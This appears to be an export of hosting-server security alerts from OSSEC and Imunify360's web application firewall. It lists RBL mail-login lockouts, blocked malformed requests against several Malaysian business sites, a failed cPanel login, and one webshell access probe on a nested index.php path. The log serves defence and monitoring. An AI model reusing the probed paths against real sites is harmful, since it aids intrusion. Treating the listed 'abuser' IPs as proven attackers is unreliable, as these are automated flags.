plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.71.88.112
country_id: 3469034
description:
Jan 22 05:31:02 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.71.88.112 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.251.138.54
country_id: 6252001
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/dsc-expat.com/curtain/19/132/1999627 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.248.66.32
country_id: 1562822
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=95261520647169 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 189.39.108.167
country_id: 3469034
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=936837 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.163.34.198
country_id: 1562822
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=455650 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 181.237.112.155
country_id: 3686110
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/dsc-expat.com/warm/11/295/1111350 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 188.212.19.14
country_id: 2510769
description:
Jan 22 05:46:50 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 188.212.19.14 has been locked due to Imunify RBL


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 164.90.190.225
country_id: 2921044
description:
Jan 22 05:47:42 sv3 pure-ftpd[3753567]: (?@164.90.190.225) [INFO] New connection from 164.90.190.225


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 217.26.179.242
country_id: 3175395
description:
Jan 22 05:47:52 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 217.26.179.242 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 188.212.19.14
country_id: 2510769
description:
Jan 22 05:46:57 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 188.212.19.14 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.164.246.157
country_id: 1269750
description:
Jan 22 05:47:08 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.164.246.157 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.146.179
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/news-n-events/img/demos/img/img/img/img/index.php||SC:/home2/pspolycom/public_html/news-n-events||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 217.26.179.242
country_id: 3175395
description:
Jan 22 05:48:00 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 217.26.179.242 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 138.0.184.100
country_id: 3865483
description:
Jan 22 05:50:28 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 138.0.184.100 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.190.141.6
country_id: 3469034
description:
Jan 22 05:50:56 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.190.141.6 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.190.141.6
country_id: 3469034
description:
Jan 22 05:51:05 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.190.141.6 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.89.137.130
country_id: 3469034
description:
Jan 22 05:52:53 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.89.137.130 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 138.204.106.14
country_id: 3469034
description:
Jan 22 05:52:23 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 138.204.106.14 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 123.20.16.240
country_id: 1562822
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product.php HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.89.137.130
country_id: 3469034
description:
Jan 22 05:53:01 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.89.137.130 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.185.197.126
country_id: 1562822
domain: www.chs.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.chs.com.my/images/product-range/Pipe-Repairs/M1275-RC10-REPAIR-CLAMP.png HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.182.226.237
country_id: 1562822
domain: www.chs.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.chs.com.my/images/product-range/Pipe-Repairs/M1283-TAPPING-SADDLE.png HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 185.187.78.48
country_id: 99237
domain: www.chs.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.chs.com.my/images/product-range/Pipe-Repairs/M1160-T-RESTRAINT-T-JOINT.png HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.182.165.207
country_id: 1562822
domain: www.chs.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.chs.com.my/images/product-range/Pipe-Repairs/M1278-DUAL-FIT-REPAIR-CLAMP-BOX.png HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.179.8.136
country_id: 1562822
domain: www.chs.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.chs.com.my/images/product-range/Pipe-Repairs/M1160-C-RESTRAINT-T-JOINT.png HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.235.33.94
country_id: 1562822
domain: www.chs.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.chs.com.my/images/product-range/Pipe-Repairs/M1278-S-REPAIR-CLAMP-SPIGOT.png HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 37.8.65.245
country_id: 6254930
domain: www.chs.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.chs.com.my/images/product-range/Pipe-Repairs/M1275-RC20-REPAIR-CLAMP.png HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 41.132.1.42
country_id: 953987
domain: www.chs.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.chs.com.my/images/product-range/Pipe-Repairs/M1301-HOT-TAPPING-SADDLE.png HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 186.193.242.243
country_id: 3469034
domain: www.chs.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.chs.com.my/images/product-range/Pipe-Repairs/M1278-D-REPAIR-CLAMP-SPIGOT.png HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 42.114.35.61
country_id: 1562822
domain: www.chs.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.chs.com.my/images/product-range/Pipe-Repairs/M1282-TAPPING-SADDLE.png HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.167.94.173
country_id: 1562822
domain: www.chs.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.chs.com.my/images/product-range/Valves/M0405-BALL-FLOAT-VALVE.png HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 123.16.187.242
country_id: 1562822
domain: www.chs.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.chs.com.my/images/product-range/Valves/M0520-ROSE-STARINER.png HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.191.102.70
country_id: 1562822
domain: www.chs.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.chs.com.my/images/product-range/Valves/M3422-HYDROSTATIC-VALVE.png HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.176.228.139
country_id: 1562822
domain: www.chs.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.chs.com.my/images/product-range/Valves/M0802-FABRICATED-FLAP-GATE-ROUND.png HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 154.110.253.108
country_id: 2464461
domain: www.chs.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.chs.com.my/images/product-range/Valves/M0705-FLAT-SEAT-VALVE.png HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 171.22.233.208
country_id: 3175395
description:
Jan 22 05:57:04 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 171.22.233.208 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.189.155.105
country_id: 1562822
domain: www.chs.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.chs.com.my/images/product-range/Valves/M0512-FAB-BASKET-STRAINER.png HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.243.52.165
country_id: 1562822
domain: www.chs.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.chs.com.my/images/product-range/Valves/M3155-01-KNIFE-GATE-VALVE.png HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 212.34.19.197
country_id: 248816
domain: www.chs.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.chs.com.my/images/product-range/Valves/M0801-CASTING-FLAP-GATE-ROUND.png HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 190.174.23.215
country_id: 3865483
domain: www.chs.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.chs.com.my/images/product-range/Valves/M0822-HDPE-FLAP-GATE-ROUND.png HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 187.14.73.17
country_id: 3469034
domain: www.chs.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.chs.com.my/images/product-range/Valves/M0502-BASKET-STARINER.png HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.186.111.139
country_id: 1562822
domain: www.chs.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.chs.com.my/images/product-range/Valves/M0820-HDPE-FLAP-GATE-SQUARE-RECTANGULAR.png HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 176.111.152.79
country_id: 798544
description:
Jan 22 05:58:08 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 176.111.152.79 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.174.97.242
country_id: 1562822
domain: www.chs.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.chs.com.my/images/product-range/Valves/M0522-Y-STRAINER.png HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 196.0.87.74
country_id: 226074
description:
Jan 22 05:58:53 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 196.0.87.74 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 196.0.87.74
country_id: 226074
description:
Jan 22 05:59:01 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 196.0.87.74 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.191.162.161
country_id: 1210997
domain: www.chs.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.chs.com.my/images/project-references/2022-Hydrostatic-Valve/ancillary engineering-hydrostatic-valve-01.jpg HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.243.190.232
country_id: 1562822
domain: www.chs.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.chs.com.my/images/project-references/2022-Kuching-STP-Stop-Log/stop-log-kuching-STP-03.jpg HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 167.249.220.119
country_id: 3469034
domain: www.chs.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.chs.com.my/images/penstock-stoplog-roller-gate-chs.svg HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 177.75.135.63
country_id: 3469034
domain: www.chs.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.chs.com.my/images/project-references/2021-Bandar-Suleiman-Selangor-Malaysia/penstock-bandar-suleiman-02.jpg HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 5.0.9.161
country_id: 163843
domain: www.chs.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.chs.com.my/images/project-references/2021-Sultan-Flight-Pipeline-Brunei/pipe-connection-pipe-repair-sultan-flight-pipeline-02.jpg HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 168.232.16.196
country_id: 3469034
domain: www.chs.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.chs.com.my/images/project-references/2019-Sungai-Layang-WTP-Johor-Malaysia/pipe-connection-sungai-layan-wtp-14.jpg HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 123.30.87.25
country_id: 1562822
domain: www.chs.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.chs.com.my/images/ancillary-engineering-service-chs.svg HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.183.190.21
country_id: 1562822
domain: www.chs.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.chs.com.my/images/project-references/2022-Sungai-Sireh-WTP/ancillary-engineering-sungai-sireh-01.jpg HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.229.250.216
country_id: 1562822
domain: www.chs.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.chs.com.my/images/project-references/2021-Connection-Sg-Tampoi-Brunei/pipe-connection-pipework-sg-tampoi-01.jpg HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.178.55.168
country_id: 1562822
domain: www.chs.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.chs.com.my/images/project-references/2020-Private-Factory-Selangor-Malaysia/pipe-repair-private-factory-10.jpg HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.232.249.78
country_id: 1562822
domain: www.chs.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.chs.com.my/images/valves-chs.svg HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 102.67.213.227
country_id: 2287781
domain: www.chs.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.chs.com.my/images/project-references/2019-Termeloh-Pahang-Malaysia/pipe-repair-termeloh-pahang-16.jpg HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.230.105.234
country_id: 1562822
domain: www.chs.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.chs.com.my/images/project-references/2022-Merlimau-WTP/Ancillary-Engineering-merlimau-WTP-01.jpg HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.177.121.58
country_id: 1562822
domain: www.chs.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.chs.com.my/images/project-references/2020-Bukit-Sentul-WTP-Selangor-Malaysia/Pipe-Connection-Bukit-Sentul-WTP-09.jpg HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.168.134.155
country_id: 1562822
domain: www.chs.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.chs.com.my/images/project-references/2022-Sensor-Bracket-Truss-Stand/Ancillary-Engineering-KTU-WTP-08.jpg HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.168.33.151
country_id: 1562822
domain: www.chs.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.chs.com.my/images/project-references/2021-SSP2/ssp-penstock-02.jpg HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.175.95.94
country_id: 1562822
domain: www.chs.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.chs.com.my/images/pipeworks-chs.svg HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.191.120.49
country_id: 1562822
domain: www.chs.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.chs.com.my/images/project-references/2021-Bhashanchar-Land-Side-Drainage/penstock-bhashanchar-11.jpg HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 2.48.160.72
country_id: 290557
domain: www.chs.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.chs.com.my/images/pipe-repair-chs.svg HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.180.185.214
country_id: 1562822
domain: www.chs.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.chs.com.my/images/project-references/2022-JPS-Sabah-Malaysia/penstock-jps-sabah-01.jpg HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 203.6.149.177
country_id: 1643084
domain: www.chs.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.chs.com.my/images/project-references/2021-Sibu-RTB3-Pipe-Column/pipework-Sibu-RTB3-01.jpg HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 156.216.117.72
country_id: 357994
domain: www.chs.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.chs.com.my/images/project-references/2021-Miri-STP-Sarawak/penstock-miri-stp-12.jpg HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 181.54.70.206
country_id: 3686110
domain: www.chs.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.chs.com.my/images/project-references/2020-Bukit-Sah-Water-Treatment-Plant-Terengganu-Malaysia/ancillary-engineering-bukit-sah-wtp-12.jpg HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 177.126.150.217
country_id: 3469034
domain: www.chs.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.chs.com.my/images/project-references/2022-Palembang-Sewage-Indonesia/penstock-palembang-sewage-01.jpg HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.174.203.252
country_id: 1562822
domain: www.chs.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.chs.com.my/images/project-references/2022-Santubong-WTP-Sarawak/penstock-santubong-WTP-09.jpg HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.180.114.210
country_id: 1562822
domain: www.chs.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.chs.com.my/images/project-references/2022-Ampang-Intake-Selangor-Malaysia/pipe-repair-ampang-intake-01.jpg HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 177.196.244.129
country_id: 3469034
domain: www.chs.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.chs.com.my/images/project-references/2021-Felda-Sabah-Malaysia/penstock-felda-sabah-02.jpg HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.169.170.211
country_id: 1562822
domain: www.chs.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.chs.com.my/images/project-references/2019-Old-WTP-of-The-Oya-Water-Supply-Scheme-Sri-Lanka/penstock-ancillary-engineering-wtp-oya-sri-lanka-01.jpg HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.187.6.84
country_id: 1562822
domain: www.chs.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.chs.com.my/images/project-references/2020-Wasan-Bebuloh-Mechanised-Rice-Scheme-Brunei/penstock-wasan-bebuloh-brunei-01.jpg HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 190.167.227.40
country_id: 3508796
domain: www.chs.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.chs.com.my/images/pipe-connection-chs.svg HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.183.116.160
country_id: 1562822
domain: www.chs.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.chs.com.my/images/project-references/2020-Puncak-Gama-KLR360-STP-KL-Malaysia/Penstock-Puncak-Gama-01.jpg HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 181.94.228.64
country_id: 3437598
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/dsc-expat.com/wing/15/511/1590425 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 186.22.65.195
country_id: 3865483
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/dsc-expat.com/cry/144/39942 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 209.198.159.97
country_id: 2782113
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/company.php HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 105.113.77.203
country_id: 2328926
domain: www.myfurnitureshop.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.myfurnitureshop.com.my/silentnight2.html HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 191.37.203.39
country_id: 3469034
description:
Jan 22 06:08:03 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 191.37.203.39 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 37.59.173.178
country_id: 3017382
description:
[2026-01-22 06:09:58 +0800] info [cpaneld] 37.59.173.178 - kimmark "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.224.131.188
country_id: 1562822
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-category.php?id=5&page_id=11 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 201.151.21.33
country_id: 3996063
domain: www.solidfence.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.solidfence.com.my/product-posts/assets/img/chainlink.png HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
